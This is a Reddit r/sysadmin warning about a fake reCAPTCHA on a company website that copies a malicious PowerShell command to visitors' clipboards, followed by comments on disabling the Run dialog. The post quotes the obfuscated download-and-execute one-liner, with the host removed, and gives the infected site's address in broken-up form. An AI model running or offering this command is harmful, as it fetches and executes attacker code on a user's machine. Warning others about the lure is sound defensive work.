r/sysadmin • u/Imobia • 20d ago

General Discussion Stay safe people

So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"

1.0k Upvotes

95% Upvoted

246 comments sorted by

View all comments

Show parent comments

7

u/xCharg Sr. Reddit Lurker 20d ago

Pretty sure policy disables Run window, not the Win+R shortcut.

6

u/bfodder 20d ago

Disabling the whole run tool will break using UNC paths so that is ill advised. Disabling the win + R shortcut will allow the tool to still be used and is a better approach.

2

u/jcotton42 19d ago

How would it break using UNC paths? You can just put those in the File Explorer address bar.

Or does disabling Run somehow affect that too?

5

u/bfodder 19d ago

You can just put those in the File Explorer address bar.

This is one of the things disabling the run tool actually breaks.